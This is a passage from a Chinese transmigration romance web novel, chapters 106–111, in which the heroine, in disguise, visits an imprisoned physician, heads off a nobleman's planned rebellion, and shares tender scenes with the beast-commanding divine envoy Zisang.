可每当回想起同赵玉屿从瑶山回程的日子,抛却了权势和阴谋,丢弃了身份和诡计,忘却了时间和伤痕,像是晴空下飘来的青草香,潇洒快意,是他这一生中最自由无忧的时光,回想起皆是明媚肆意,如同他怀中的姑娘。
赵玉屿抱紧他:“那你答应我,如果,我是说如果,有那么一天你可以自由生活,你要跟随自己的心意去过完一生,不要被任何人任何事束缚,即便是我。”
子桑眉头微皱:“为什么这么说?”
赵玉屿抬头望向他,双手轻抚着他的脸颊缓缓道:“我希望你能跟随自己的心意生活,不要为了任何人活着,要为了自己。”
子桑偏头吻上她的掌心:“可是玉儿,我心甘情愿被你束缚。”
赵玉屿却微微摇了摇头,目光温柔而坚定:“我相信你,但我不需要。子桑大人,爱是自由不是束缚,先爱自己,才会爱人。”
儿时的子桑因为一句谶言被囚禁在暗无天日的牢笼中八年,逃出来的他因为对子桑岐的愧疚而浑浑噩噩度过半生,最终选择以决然之势了断残生,如今却是为了她心甘情愿成为笼中囚鹤。
他的一生都是因别人而活,被命运裹挟着向前走,从未有过一天是为了自己而活。
茫茫天道,短暂一生,却从未给过他时间去思考自己究竟想成为什么样的人。
她爱子桑鸓,所以她不能让子桑鸓被爱束缚成傀儡。
第107章
眼下最重要的是何附子的事情,虽然现在系统提示已经到了“男主黑化”,但是她如今也只是知道个“章节名称”,至于何附子和太子的事情裴小侯爷知道多少,太子掠去何附子之事裴小侯爷是知道,还是只以为何附子失踪,其中曲折赵玉屿还未弄清楚。
想起原著中裴小侯爷最后逼宫惨死之状,赵玉屿也有些焦灼。
裴小侯爷算是个好人,却在失去妻子后过于偏激,着了汝南王的道,与叛军里应外合逼宫,最后落了个万箭穿心,全家惨死的下场,遭万民唾骂,实属一步错步步错。
还有淳儿,若是裴小侯爷出了事,如今是为侯府嫡女的淳儿也恐难幸免于难。就算她和子桑能护得了淳儿一时,可他们离去之后呢,淳儿又有何容身之处。
不论如何,得阻止原剧情的发生。
赵玉屿拉住子桑的衣袖:“子桑大人,你得帮我一个忙。”
*
昏暗阴冷的地窖之中不见日光,唯有晕晃的烛光燃了一支又一支。
何附子不知道自己在这里呆了多久,只觉得有些冷。她的腿部发僵,动了动小腿,脚踝处叮叮作响。一条粗黑的铁链嵌在她的脚踝处,另一头连接在床榻旁的梁柱上。她的行动范围仅仅是这一床之限。
何附子轻嘶一口气,蜷曲酸麻僵硬的小腿揉捏着穴位,尽量让自己舒服些。
床榻旁摆了一张小桌,上面的饭菜一口未动。
门外似乎传来轻微的脚步声,何附子揉着脚踝的指尖微顿,悄悄将手深入枕头下,垂眸不瞧来人。
开门声响起,入眼是宫中常见的宫女裙摆,何附子见状有些失落,叹了口气,将手从枕头下抽出。
宫女轻挪脚步走到她身边,蹲在她身边将食盒中的饭菜取出。
何附子瞧着她的动作却默不作声,偏头望向一侧,并不打算用膳。
“人生不过三万日,便是再大的不如意,饿死自己也不划算。”
听到这熟悉的声音,何附子微怔,愕然扭头望去,映入眼帘的是一张陌生而普通的面容。
可那声音,的确是熟悉之熟悉。
宫女笑道:“何姐姐,是我。”
何附子满目错愕:“玉儿,你的脸”
这张脸分明同赵玉屿的脸没有丝毫相似之处,若非玉儿主动暴露,便是面面相对,她也不敢相认。
赵玉屿摸了摸脸:“小小障眼法而已,这李承嵘太过警惕,居然将你藏在地窖里,还派了人把手,若不是易容成送饭的宫女,我还真找不到这里。”
她扯了扯粗大的铁链,暗骂一声:“真不是东西,居然连锁都没有,竟然直接焊死了。”
何附子眼含期待:“玉儿,你有办法救我出去吗?”
赵玉屿叹了口气:“出去倒是不难,只是这铁链却无法打开啊。”
她倒是可以故技重施,让子桑吹笛蛊惑,将何附子带出去,可是这铁链是特制的,不仅完全贴合何附子的脚踝,而且连着房梁又没有锁,却是麻烦。
何附子犹豫片刻:“这倒不难。”
她从枕头下取出一块锋利瓷片,竟是个碎碗片:“用这个。”
赵玉屿:“?”
何附子将瓷片塞入赵玉屿手中:“我原是怕太子强迫与我,方才藏了这瓷片防身。如今可用这瓷片割肉断骨,去除铁链。我身上还有一包迷药,只要迷晕了我,倒也不会太过痛苦。”
赵玉屿捏着这碎瓷片只觉得重若千钧,瞧着何附子神色庄严,丝毫不像在开玩笑的模样,咽了咽口水:“倒也大可不必。”
没想到何附子看起
来温柔,却对自己有这股子狠劲,竟然宁愿自断一腿,赵玉屿都自愧不如,自愧不如。
她赶忙将瓷片收好,防止何附子一时冲动做出傻事,又将热乎的饭菜塞到何附子手中,轻声道:“何姐姐,我知道你想摆脱太子,但万事不可以伤害自己为代价。你放心,我一定会救你出去的。”
“可是”
赵玉屿握住她的手安抚:“我知道,你担心太子位高权重,但是他如今地位并非固若泰山,只是土崩瓦解还需要些许时日。
何姐姐,救你并不困难,但难在裴小侯爷的身份。只要太子一日在位,他就会与你们为难。就算裴小侯爷愿意与你远离帝都繁华,浪迹天涯,但他的家人尚在,日后若太子继位,普天之下莫非王土,你们又当如何自处?裴家又有何立足之地?”
何附子垂眸不语,这些她都知道,却也怯懦地不敢去想。
裴家几代荣光,马上征战,历经生死才换来如今的功勋,若是因为她一个人而要裴家获难,她羞愧难当。
她唇齿轻颤,缓缓道:“待我出去,我便离开这里,再不与帝都之人相见,绝不会再拖累旁人。”
赵玉屿见何附子居然想到的是独自离开帝都,同裴小侯爷死生不再相见顿时道:“不是不是,咱不能这么想。就算你离开,以太子的心性他难道就不会找裴小侯爷算账了吗?”
她来到这里就是为了阻止这种狗血的虐文情节。
何附子面色一僵,而后惨然一笑:“你说得对,或许这天地之下已无我容身之处。”
赵玉屿:“”
等等等等,这话怎么听着更不对了。
赵玉屿连忙打断她的思路:“其实咱们还可以换一种思路。”
何附子却神色哀婉,摇了摇头,不绝还有其他生路:“世间安得双全法,我不能眼睁睁看着元若因为我而受苦,却也无法在太子身旁强笑承欢,我还能如何呢”
赵玉屿拇指往脖子上一抹,直截了当:“做掉他。”
何附子:“?”
见何附子眼中的迷茫和难以置信,赵玉屿知道对于寻常人来说,弑帝杀君乃是大逆不道,想都不敢想。即便是如裴小侯爷这般权贵,也是为人所利用,才敢殊死一搏。
在他们的心里皇权是一座大山,削骨剔肉不可挪去。
她轻声道:“何姐姐,你行医从善,从未做过恶事,这一切又不是你的错,你为何要承受苦果?太子不仁,视百姓性命于草芥;强抢臣妻,是为不义;更有弑父杀君之嫌,是为不忠不孝。此等贼子,若是为帝必定民不聊生,天下大乱。你是大夫,渝州的惨状你是看在眼里的。你既有自尽之勇,削骨之决,为何不将这股勇气放在为民除害上。”
见何附子怔怔状,赵玉屿接着道:“你之死,于百姓而言是少了一位救死扶伤好大夫,于民无利;可昏君暴主之死,却可救千万人于水火。孰轻孰重,孰利孰弊,你一定明白的。”
何附子在此之前,从未听过这种话。
在她看来,反抗皇权已是大不逆,可她又无法违背自己的心意。
她看到了宋承嵘的虚伪、残忍、冷漠无情,却又因为他的身份而无可奈何。
所以她只能逃,只能躲,希望可以远离纷争,摆脱这一切。
当逃无可逃,逼入绝境,便只有舍弃自己,保全所爱之人。
一死了之是她能想到最决绝的办法。
可如今却有人告诉她,不要死,该死的人是做错事的人。
哪怕那个人是天潢贵胄,哪怕那个人是未来的九五至尊,也不要害怕,不要逃避。
她的勇气,不应该用在牺牲自己上;她的瓷片,即便脆弱易折,锋利之端也应当面向敌人。
赵玉屿望向她逐渐澄清的眼眸,按了按她的手:“何姐姐,既然已无退路,何必殊死一搏。”
第108章
房间外传出轻微吱嘎的开门声,两人一顿,而后赵玉屿迅速将碎瓷片收起,按了按何附子的手,轻声道:“照顾好自己,你一定能有真正的自由。”
宋承嵘处理完政务便按照惯例到太子妃那共用午膳。虽然满桌山珍佳肴,食之无味。望着眼前的珍珠,想起这是何附子最爱吃的,一时心软却又更是无奈,担心她还是不愿用膳。
又想到她如今这般对自己是因为裴元若,因为她已经是旁人妻子,更是起了嫉妒愤懑,草草用完膳后便急匆匆朝地窖去。
到了门口却又停下脚步,心中有些犹豫,担心看到的是一双冷眼。
宋承嵘问向守卫:“她用膳了吗?”
守卫道:“早膳未动,宫女刚送来午膳。”
听到这话,宋承嵘心中无奈:“开门。”
“是。”
守卫应声打开门,宋承嵘踏进房间,就见宫女收拾好饭盒起身,垂首朝他行了一礼后出了暗室。
房中只留下他们两个人,空气静谧良久,何附子从宋承嵘进来时便一直偏着头,目光望向虚无。
宋承嵘开口道:“怎么不用膳。”
没有回声。
宋承嵘叹了口气,他撩起衣摆坐在床榻边:“我知道,你还在生我的气。当初是我不对,新婚燕尔时抛下了你离开当时我的记忆刚刚恢复,我以为自己可以放弃你,我担心自己被儿女私情所累,我也担心你跟随我回帝都会受到明枪暗箭,所以我选择了逃避。原本,我想等一切尘埃落定后再去接你,可我高估了自己的心性,也低估了对你的感情,可当我派人去找你时你已经不在了。”
宋承嵘沉默片刻缓缓道,“附子,我说这些是想告诉你,或许在你眼中现在的我已经不再是当初的那个恣意的郎君,但我对你的情谊从未变过。我现在所做的一切也不在是为了我自己,而是为了我们的将来。”
黑暗中,何附子扯了扯嘴角,眼中轻嘲,缓缓道:“我们的将来?”
这是何附子自从被关到这里后第一次开口同他说话,宋承嵘眼前微亮,有些迫切的想要证明:“是,我们的将来。待我日后登基,你便是我的皇后,我们的孩子会是太子,未来的天下之主。”
“那太子妃呢?”
提到太子妃,宋承嵘却不再像上次那般犹豫和回避。
他知道何附子的心性:“我也太子妃虽无感情,却也是多年夫妻,日后我依旧会许她尊荣,将她供养在宫中,若她想离宫我也不会阻拦,如此如何?”
何附子却摇了摇头:“我如何相信你。你说日后登基,可如今世人皆知圣上龙体安康,重返盛年,若当真如神使所言,乃是长生不老,万世永康。圣上既然长生不老,你的太子之位便只是个摆设,你的承诺也不过是一句空话而已。说不定待你日后垂垂老矣之时,圣上依旧康在。又或者终有一日,帝都不需要太子了。”
何附子的话平淡却略带嘲讽的道出了如今世人皆知的真相,像是一把钝刀道道划过宋承嵘的心上。
他原本引以为傲的身份如今却是个笑话,甚至连他最心爱的人都瞧不上他。
宋承嵘衣袖下的手掌攥得发白嶙峋,深吸几口气让自己平复下心情。
“附子
,你放心,我已经让你失望过一次,不会再有第二次。”
即便何附子按照先前赵玉屿的意思顺从却又挖苦宋承嵘,但听到宋承嵘的话她还是愣了一下。
“你想做什么?”
宋承嵘笑了笑,伸手握住何附子苍白的手掌。
温热的大手覆盖在手背上让她有些不适,何附子顿了顿,强忍着异样却没有拒绝。
宋承嵘见她不再如之前那般排斥,多年沉郁的内心多了丝雀跃。
“当初的誓言我没有忘记,我承诺你的都会做到。”
*
“驾!驾——”
城外乡野之道上,一道身影纵马飞驰,流星电闪般飞奔而去。
他的脸被斗篷遮挡,露出冷漠锋利的下颌,长鞭狠狠抽下,马儿疾蹄飞奔,马尾如利剑划破黑暗。
倏忽间,它却毫无征兆的刹蹄落定,论主人如何抽打也只原地转圈,不愿再行。
“走,走啊!混账,你在干什么!”
“马儿无辜,小侯爷何必如此性急。”
懒散调侃的声音从头顶传来,裴元若一怔,抬眼望去,望见一道与月色交融的银白色身姿,似是站在树上良久。
“神使?”
裴元若目有戒色,“神使大人为何在此?”
子桑靠在树干上叹了口气:“睡不着,无聊闲逛。”
赵玉屿去宫中找何附子,让他今夜务必看好裴元若不要做傻事。
玉儿的话自然是要听得,更何况温香软玉不在怀中,他也睡不着,索性在这蹲守着半道拦人。
裴元若面不改色抱拳道:“既是偶遇,那在下就先行告辞了。”
说罢一拉缰绳便要离开,然而马蹄高昂,如何也同他前行。
子桑吹了声口哨,从高树上一跃而下,巨大的仙鹤冲破黑障而出稳稳接住他,拦在了路前。
子桑本就对玉儿格外关照裴元若和何附子心生不满,如今更没什么耐心。
“奉劝你,早点回去,否则别怪本座不客气。”
裴元若听到这话心中一紧,本就肃杀的面色更是凝重,手悄然按在腰间:“神使大人这是何意?”
子桑瞥了眼他的动作,轻嗤道:“不用做无用功,你杀不了我,我也懒得杀你。但若再前进一步,我不介意卸你一条腿。”
反正玉儿只说拦住他,也没说不能动手,只要留这小子一条命便好。
裴元若却神色更紧,却又有些迟疑:“神使大人知道我要去做什么?”
他心中一惊,难不成汝南王暗联侯府的事情已经被圣上和神使知道了?
不,不对。
如果圣上已经知道,不可能只有神使一个人前来拦他。
子桑双手揽于大袖之中,语气已有不耐:“你的事情我无意多问,不过玉儿既然让我看着你,那你今日哪也别想去。劝你最好识相,我的耐心有限。”
“玉儿姑娘?”裴元若一时愣住。
自从附子被太子掳走到汝南王暗中联系他也不过两日,就连圣上和太子都不知道此事,玉儿姑娘一个在深宫之中的宫女如何能得知这些?
他有些不可置信,荒谬到裴元若以为是子桑在诓骗自己,三分生疑七分试探:“玉儿姑娘如何得知在下今夜要出城?”
子桑未言,他并不知道玉儿为什么会知道汝南王暗中谋反之事,不知道玉儿怎么知晓何附子关在太子地窖,不知道玉儿为何会有治疗瘟疫的药方,也不知道她究竟还隐瞒了自己多少事情。
但那些都不重要。
只要玉儿在,那些都不重要。
可面对裴元若的疑问,子桑有种莫名的烦闷,仿佛一切的轨迹正在脱离他的掌控和设想,朝着未名之地飞驰而去。
“废话太多。”
他吹起口哨,原本立地不动的马儿骤然扬头扭身,朝来路狂奔离去,裴元若如何也控制不住。
子桑轻啧,果然口舌之劝无多用,还是直接动手来得实在。
第109章
夜晚,昏黄暧昧的烛光摇摇欲坠,赵玉屿回到摘星宫时已经是后半夜,她如今的容貌不同平常,贸然回来若是被人瞧见也容易引起不必要的麻烦,索性在宫外又安置了些事情,待入夜后乘着人少时,拿着子桑的令牌从偏门回来。
一路上倒还顺利,并未遇到什么人,她没回大殿,为了避人耳目直接回了自己原本住的小院暂息。
自从宋解环离开之后,她又和子桑成了亲,这小院里便空无一人。
因为是赵玉屿曾今住过的,子桑也不喜其他人住进来,所以
除了每日专人洒扫庭院,便也无人过来。
赵玉屿推开门,屋子里还同原先一样。
她放下帷帽撩开帘子走进里屋,珠帘玉撞声中,一双手搂住她的腰将她带到床上。
熟悉的温度和气息并未让她有所反抗,赵玉屿扭过身子望向子桑有些意料之中又无奈:“你怎么在这?裴小侯爷那儿如何?”
子桑却未言,他垂眸望着赵玉屿那张完全陌生的平淡的脸目光晦涩。
赵玉屿被瞧得有些不自在,易容的效果是24小时,期间无法变回原来的样子,她摸了摸脸:“看着这张脸是不是有些不习惯。”
赵玉的脸同赵玉屿自己原本的脸本就相像,在这个世界待得越久,她的脸便同自己的脸越来越相似,用系统的话来说,人之相貌以灵为引随魂而动,到后来连赵玉屿自己都分辨不出她的脸和原本的自己有何不同。
如今突然变成了完全不同的另外一个人的样子,她也觉得有些别扭。
她抱住子桑的腰,将脸埋在他怀中:“我知道你有疑惑,只是现在时机未到,很多事情我不知道该如何告诉你。”
“没有,没有疑惑。”
子桑的话让赵玉屿微怔。
他抚起赵玉屿的脸,在昏暗的烛光下,在薄柔的月光中,在珠帘微晃的莹辉间,看着那双明媚温柔的眼睛,低头吻了上去。
“玉儿一直是玉儿,从未变过。”
裴小侯爷的话让他有些心慌,但他知道,这便是最好的答案。
只是
只是他越来越不知道,该如何面对赵玉屿。
子桑紧紧搂住赵玉屿,像是要融入骨血,即便赵玉屿有些吃痛也不放手。
他时常阴暗的想着,如果他的离去是必然,那玉儿日后会如何?
即便玉儿一直说离不开他,可子桑知道,真正离不开对方的一直只有自己而已。
像玉儿这般聪慧灵动永远充满希望的姑娘,不论身处何方都会过得很好。
在未来没有自己的日子里,她会遇到很多人,很多很多人,跟他们发生许多故事,或许在草原遇到放牛的孩子,或许在沙漠遇到经商的驼队,或许在山水间与人竹筏共渡。
但这一切都不会有他的身影。
或许一年两年,玉儿还会记得自己。
可是十年,二十年,三十年呢?
对于热爱生命的人来说,人生永远是向前走,谁会为了一个故去之人停驻原地。
子桑知道自己的自私,可一切一切的漏洞都让他控制不住地惶恐。因为他越来越清晰地感知到,玉儿并非是那个需要依附他而存在、需要他铺桥架路安排好一切的小侍女,她足够的勇敢,足够的聪慧,足够的善良有谋略。
她那么的耀眼而优秀,优秀到让本就生活在阴沟中的老鼠愈加无法直视,也愈加惶恐。
太阳如何会在意老鼠。
或许终有一天玉儿会忘记自己。
那时候,他便在这世上真正的消失了。
赵玉屿感到搂住自己的胳膊愈加收紧,让她几乎无法呼吸。
“子子桑”
她抵住子桑的胸膛想要让他松劲,没想到却被子桑误以为抗拒。
一瞬间,搂在腰肢的力道紧到窒息,赵玉屿感到一阵晕眩,回过神时已经仰面倒在了床榻上。
子桑背着光,沉沉地压在她身上。
她看不清子桑的眼,但他身后垂下的床帘像是一座黑压压的牢笼将两人紧紧笼罩其中,无法挣脱。
“不要拒绝我。”
赵玉屿微怔,即使子桑的声音低沉看似强硬,但尾音的轻颤还是暴露了他此刻的小心翼翼和胆怯。
子桑见赵玉屿不言,俯下身子摸索着吻上她的眉眼,鼻尖,而后细密绵延吻滑落在唇齿间。
温软相触的那刻,他搂住赵玉屿的手臂克制不住的握紧。
翻滚间细碎的呻吟从唇齿间断断续续涌出,窒息掠夺般的索吻让她一时不知所措。
她感受得到子桑的焦灼和不安,只能抱着他,任由他的索取。
赵玉屿手指紧紧攥住床单,子桑感受到她的不
适,还是顿住了动作。
然而赵玉屿却抚上他的脸,笑了笑。
“子桑我是喜欢你的,所以不要害怕,不要胆怯,也不用伪装。我我也是第一次喜欢上一个人,但是当决定喜欢上你的那刻,你在我心里就不再是转瞬即逝的存在,也不再是笔墨史书上的只言片语。不论将来身处何方,我对你的爱都在,亦如现在。”
她看到过他的过去,知道他的畏惧和自卑,了解他的痛苦和悲鸣,所以也明白他的真心和怯懦。
她撑起上半身,主动吻上子桑的唇。
因为这个动作,让她更加清晰地感受到子桑心跳的悸动,赵玉屿面色煞红,却并未退去唇吻拉开距离,而是向前搂去,搂住子桑的脖颈。
这是赵玉屿第一次如此主动,主动得让子桑受宠若惊。
他有些惊愕的张开嘴,靠坐在床榻上,后背是一帘之隔的墙壁,背后的冰凉和身前的肌肤相亲极具反差,让他忍不住想要更多的、更多的汲取温暖。
他感受到唇齿间赵玉屿生涩的探寻,玉儿的口中一股甜梅香,是先前吃的青梅饯。
可他却还想要更多的温暖,他抽出手,搂住赵玉屿的腰将她按向自己,紧紧贴在身上。
“要记住我。”
他说,“你一定要记住我。”
第110章
自那日之后,赵玉屿便未再见过何附子,但有猴大它们在,整个皇宫于她而言便如无墙之院,尽在掌握。
何附子的顺从让宋承嵘大喜,但鉴于何附子臣妇的身份,为免走漏风声宋承嵘依旧将她软禁在暗室之中,只是每日会让她在无人时在东宫内走动休息,跟监狱放风似的。
赵玉屿撇了撇嘴,宋承嵘的爱果然一如既往的廉价。
在权势面前,宋承嵘不敢承认自己对何附子的感情。他给不了何附子想要的钟情和坚定,也给不了为他提供助力的太子妃尊重和信任,却又自恋地认为自己的爱对他人来说是一种赏赐和奢侈,只要拥有他分毫的爱意就该为他付出和退让。
更可笑的是,世人向来只认皮不见骨,如宋承嵘这般的男子却是人们眼中天下顶好的夫婿。
赵玉屿靠在小院的躺椅上轻摇思忖,裴小侯爷那边倒是让她未曾想到的沉寂了下来。
赵玉屿心里却有点不安,总感觉是暴风雨前的宁静。
以裴元若为了何附子能直接谋反殊死一搏的疯批劲,他不可能毫无作为。
院子里的梨花香让她有些困顿,赵玉屿双眼轻阖打起了瞌睡,忽然意识一凛,不对,这个季节怎么会有梨花香。
她猛然攥紧手上,指甲嵌入掌心的痛意让她瞬间清醒,然而与此同时,地面上的黑影迅速放大,她下意识旋身逃脱,跌跌撞撞摔在地上躲过一击。
同时,背后传来一道暴戾的吼叫,在一旁荡秋千的猴大已经飞扑上去双腿卡住偷袭那人的脖子利爪撕扯。
猴二猴三也闻声从树上飞下,死死抱着那人的胳膊腿和腰肢纠缠住。
日光下那人袖中的桌子闪过一道亮光,赵玉屿连忙喊道:“猴大住手!”
猴大被她的声音叫愣,见赵玉屿道,“他不是坏人。”挠了挠脑袋思考片刻,还是选择听赵玉屿的话停了爪,却并未离去,而是依旧用双腿紧紧缠住那人的脖子,手痒得将他脸上的面罩一把揭开,凌乱的额发下露出一张剑眉星目的脸。
赵玉屿看着那张熟悉的脸,有些无奈又意料之中:“裴小侯爷,我就说你怎么会毫无动静。”
裴元若此时一身劲服,眼下青黛,面容苍白憔悴,看起来像是寡居多年,身上挂着两个猴子,脖子上还卡着一个,莫名有些残忍的喜感。
赵玉屿嘴角一抽,也知道他是为了何附子来的,起身拍了拍手道:“好歹相识一场,你有什么要求可以好好跟我说,玩偷袭做什么?”
若非子桑此时在皇宫里,以他的性子裴小侯爷怕是已经挂了。
裴元若张了张口,而后垂下眼:“抱歉。”
赵玉屿走到他面前:“可你为什么要下迷药抓我?我同你有仇无缘,便是你要谋反,也用不着抓我啊?”
听到谋反二字,裴元若一怔,抬起头望向她:“你果然知道。”
“我当然知道,就是我叫子桑看着你别轻举妄动的,他没跟你说吗?”
裴元若一把抓住她的手腕:“不轻举妄动?附子在东宫之中已经数日有余,难道要我坐以待毙吗?!”
“那你就要谋反?”
赵玉屿被他抓得有些痛,皱着眉道,“你以为凭你手中那点城防军真能谋反成功吗?你也不想想,为什么汝南王会那么巧找到你合谋逼宫,他又是怎么知道何姐姐是被太子撸去的?如果你真的谋反了牵扯到了不仅仅是你一人安危,还有侯府一家,更甚者引外人入城,到时候整个帝都都可能血流成河!”
裴元若唇色苍白,苦涩道:“我知道,我都知道!我原是想将你挟持,让神使出面夺回我妻,可我也知道,那不过是权宜之计。”
“太子几次三番掠我妻子,以他心性,就算我这次将附子救回来,那日后呢?他会放过裴家吗?待他日太子登基为帝,天涯海角我们又能逃到哪去?”
赵玉屿道:“你这是关心则乱,如今陛下身体康健长生不老,该急得另有其人才对。”
“可他是太子!”
“但他也担心他永远都是太子!”
裴元若怔住,而后轻轻摇头:“可我总不能什么都不做等着那日。附子虽外表柔弱,却是个性情刚烈的女子,她如何能受得了被人桎梏磋磨。无力保护妻子,我又有何颜面面对她。”
赵玉屿看着他猩红的双眼,叹了口气:“你放心。我已经去劝过何姐姐了,为了你们的将来,她会好好活下去的。”
裴元若急了:“赵姑娘,你既能见到她,为何不救救她?”
赵玉屿接着道:“因为正如你所说,这次救了何姐姐那下次呢?不瞒你说,上次灯会便是太子设局将何姐姐抓去了东宫,我便救了她一次。何姐姐也是担心再次被太子盯上,所以才去庄子上避避风头,可太子还是找到了她。”
“太子不会放过何姐姐的,与其提心吊胆,不如一击毙命。”
她缓缓道,“你若信我,便按照我说的做。”
日上竿头,浮光渺渺。
听完赵玉屿的话,裴元若先是神色惊愕,而后眉头微拧渐渐沉默,最后感慨道。
“赵姑娘,您究竟是什么人?”
若真如赵玉屿所言,那帝都必将引起一番腥风血雨,可她又是如何得知汝南王的阴谋和太子的不臣之心,又是如何笃定他当初会和汝南王联手?
这哪里是一个久居宅院的女子所能得知的。
“我?”
赵玉屿笑了笑,似真似假道,“既然子桑是神使,我是他的妻子,有些异于常人的能力也不足为奇吧。重要的不是我是谁,而是你愿不愿意相信我。”
她显然并未说真话,但裴元若却想起附子曾今告诉过他渝州城发生的奇异事情,还有那张凭空出现的药方。
若当真说有仙人相助,也不为过。
至少神使大人的驭兽之能也绝非凡人所拥有,他的妻子又怎会是普通人。
而与他而言,只要能救附子,便是同魔鬼做交易也未尝不可,更何况是多次帮助他们的赵玉屿。
“我相信你。”
裴元若上前一步,将手腕上的镯子取下,“只是还请赵姑娘有机会将这镯子交给附子,告诉她我一定会救”
话未说完,一阵飓风骤然拔地而起,鹤唳长空,树叶飒飒狂飞,灰尘四起,两人被吹得衣袂翩飞,险些未站住脚。
猴大猴二猴三似乎感受到了什么,吓得抱头尖叫着跳到树上躲起。
赵玉屿哇得一声踉踉跄跄朝后跌去,却意料之中的落入温软怀抱。
熟悉的气息让她安然靠在来人怀里,抬眼望去,锋利的
下颌线冷然如刀。
子桑抱着她,望向裴元若的眸子如同燎原之火,面容冷峻到让人胆寒。
“上次就该杀了你。”
森冷的声音从耳边传来,赵玉屿听到这话一僵,扭头望去,院墙上不知何时已经立起了大片的细长黑蛇,皆是立身张腮,嘶嘶作响,一时间竟多到将小院包围起来,如同升起得一层袅袅黑雾。
裴元若此时被灰尘眯住了眼睛,尚且未意识到自身所处危险。
子桑已经微微张开口要发号施令,赵玉屿连忙伸手捂住他的嘴,制止他的杀意。
温热的掌心贴在双唇上,子桑眼眸微动,眉头蹙起,垂眸望向她。
赵玉屿面色苍白,攥紧他胸前的衣襟紧紧贴着他,将自己尽量蜷缩在他的怀中:“子桑,我害怕,我怕蛇。”
子桑望着她苍白颤抖的双眸抿了抿唇,虽然知道她是装的,但还是心软了,无奈地吹响口哨,原本林立的蛇群扭动着身体尽数退去。
裴元若此时也揉去眼中灰尘睁开了眼。
赵玉屿想要从子桑怀里跳下,却被他的双臂死死拴住。
“我若不回来,你便让他靠近你?”
赵玉屿解释:“小侯爷又没有恶意,他只是为了让我给何姐姐报个平安。”
“你还想再去东宫?不准去!”
“我没说要去啊,可以让猴大将东西带去传个信嘛~”
“不准!”
“子桑!”
见赵玉屿提高了嗓音,子桑蔫了蔫,还是不愿松手。
裴元若瞧着他们旁若无人的斗嘴,有些尴尬,朝子桑行了一礼:“神使大人。”
回应他的是一声冷哼。
裴元若:“”
见气氛冷下来,赵玉屿朝他道:“小侯爷您先回去吧,放心好了,何姐姐会没事的。”
“多谢。”
裴元若走后,赵玉屿瞧了瞧面色冷淡的子桑,伸手扭住他的耳朵。
“你这个人怎么这么鲁莽,裴小侯爷是同盟,你把他杀了,不是长太子气焰灭自己威风吗?”
子桑皱着眉头:“杀了便杀了,弄死宋承嵘那废物我一人足矣。”
见他这般狂妄,赵玉屿也一时上头:“你这么厉害,那为什么还要筹谋太子和圣上不合?直接都杀了不就好了,你能杀了太子和皇上,你还能杀了全天下的人吗?”
子桑一噎,垂下眼眸一时无言。
赵玉屿也怔住,知道自己失言了。
两人沉默片刻,趴在地上的小白似乎也感受到了气氛的冰冷,仰起脖子叫了两声。
微风拂过,耳边传来一声轻叹。
“我只是希望日后你能过得好些。”
逼太子和圣上反目,借太子逼宫谋反趁机铲除异己,待老皇帝暴毙,挑选幼子登基,神权政权合二为一,赵玉屿有他教的驭兽之术护身,又有神使遗孀的身份,便是这世上最尊贵之人。
这是他能想到的,在他离去后最好的保护赵玉屿的办法了。
110-117
第111章
赵玉屿听到这话,向前一步伸手抱紧他的腰肢,将脸埋在他胸口良久,待到心头那股酸楚平静后,才闷声道。
“没事的,子桑,不会有事的。”
子桑摸了摸她的头发:“嗯。”
不论那一天是否会到来,他都绝对不会让赵玉屿有任何的意外。
她一定会平安顺遂、富贵永康的度过一生。
*
日子一天天过去,子桑留在摘星楼的时间越来越短。
他每日都会去皇宫同老皇帝谈经论典,一去便是仙童仙使提花开道,浩大的排场铺满殿前的太极广场。
老皇帝为了迎接他的到来,连早朝都取消,改为群臣于太极殿前伏拜,恭候神使驾临。
朝政愈发荒废,群臣有进言者皆以忤逆圣上、不尊神使之名当场廷仗。
朝政内乱,百姓们却愈加崇拜神使。
子桑有时无聊了便带着赵玉屿在帝都城内驾鹤游玩,吹笛奏曲,引来群鹤齐鸣,百鸟衔花,彩蝶共舞,护城河鱼跃长空,铸成虹桥,如有神祇降临。当真是把神仙逍遥日在百姓面前展现的淋漓尽致。
若是来了兴致便洒下些延年益寿的丹药,帝都的百姓们便会一哄而上争抢,跪地伏拜感恩神赐。
有时看着争抢得头破血流一片狼藉的百姓,赵玉屿不由沉默。
她知道子桑这么做是为了对付宋承嵘,也是为了她。
可这样真的对吗?
一个神权君权高度集中的国家,必定是落后的愚昧的没有将来的。
宋承嵘自私自利,深谙帝王心术;子桑也未见得是爱民如子的人。
不论日后谁胜谁负,对百姓来说其实都一样。
她有些困顿,又有些厌倦。
子桑坐在悬崖旁的那棵银杉树上,望着身旁的赵玉屿,感受到了她的沉默。
“怎么了?”
树上无数的红绸随着飒飒风起肆意飘荡,赵玉屿撩了撩耳畔的碎发,望向红绸上用金笔写满的心愿。
“我只是在想,从天上看,百姓们小得像是蚂蚁,每日在这帝都城内忙忙碌碌的转悠来转悠去,就是为了做工赚些讨生活的银钱。帝都是因为他们而存在的,没有他们,帝都就是一座华丽的空城。可帝都的波诡云谲、那些大人物心中的诡计龃龉,他们什么都不知道,也没有做错任何事,所有的后果却要他们承担。”
权力的更迭注定是要流血的,皇位是白骨血海堆砌成的枷锁。她阻止裴元若,就是为了防止他因为何附子关心则乱放叛军入城,到时候城内必定血流成河。
可即便如此,流血也避不可免。
而之后呢,若是子桑成了新主,他又会如何对待百姓?
“子桑,你爱我吗?”
“爱。”
赵玉屿望向他:“你为什么爱我?”
子桑想了想:“爱一定需要理由吗?”
赵玉屿点头:“当然,没有人会无缘无故爱上一个人的,爱一定有理由。我爱你,因为我看到了你的脆弱、无助和绝望,看到了你的挣扎、痛苦和纠葛,但也看到了你伪装之下未泯的良知,或许那份良知所剩无几,但那并非你的过错。我想要帮助你,让你能够对这个世界重新怀有希望和爱意。在这个过程中,我爱上了你。一开始不愿意承认,可后来想想,爱上了就是爱上了,没有什么不好承认的。”
子桑思忖片刻,缓缓道:“那我爱你的眼睛。”
“?”
这个回答是赵玉屿没有想到的,她愕然地望向子桑:“眼睛?”
“在鹤羽阁,我第一次看见你的眼睛的时候,就心动了。”
赵玉屿也愣住了:“额,那,那么早吗?”
子桑伸出修长的指尖,轻抚上她的眼角。
温凉的触感像是上等软玉,细腻又缱绻,亦如他的眉眼情愫。
“这双眼睛含着笑,耀眼得让我避无可避。”
她打扮漂亮得像只兔子,却双眼弯弯狡黠如狐,虽然妆容精心,却依旧可以看出在所有侍女中衣着最是简朴,可见拮据。
可她却丝毫不见窘迫,毫不在意她人的目光,眉眼皆是笑意,得意又自豪的介绍自己的作品。
